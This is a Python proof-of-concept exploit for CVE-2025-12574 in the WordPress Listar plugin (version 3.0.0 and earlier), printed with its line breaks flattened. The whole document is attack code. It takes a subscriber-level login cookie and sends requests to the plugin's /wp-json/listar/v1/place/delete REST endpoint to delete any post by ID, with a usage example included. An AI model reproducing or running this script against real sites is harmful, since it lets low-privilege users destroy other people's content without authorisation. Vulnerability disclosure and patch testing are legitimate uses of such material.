CVE-2025-12574

import requests import sys # CVE-2025-12574 PoC - Listar Plugin Unauthorized Post Deletion # Target: WordPress site with Listar plugin <= 3.0.0 def delete_post(target_url, post_id, auth_cookie): """ Delete arbitrary post via vulnerable Listar REST API endpoint Args: target_url: Target WordPress site URL post_id: ID of post to delete (any post on the site) auth_cookie: Valid WordPress authentication cookie (subscriber level or higher) """ endpoint = f"{target_url}/wp-json/listar/v1/place/delete" headers = { "Content-Type": "application/json", "Cookie": auth_cookie } data = {"post_id": post_id} try: response = requests.post(endpoint, json=data, headers=headers, timeout=10) if response.status_code == 200: result = response.json() if result.get("success"): print(f"[+] Successfully deleted post ID: {post_id}") return True print(f"[-] Failed to delete post ID: {post_id}") print(f"[-] Response: {response.text}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-12574_poc.py <target_url> <post_id> <auth_cookie>") print("Example: python cve-2025-12574_poc.py http://example.com 123 'wordpress_logged_in_xxx=xxx'") sys.exit(1) target = sys.argv[1] post_id = int(sys.argv[2]) cookie = sys.argv[3] delete_post(target, post_id, cookie)

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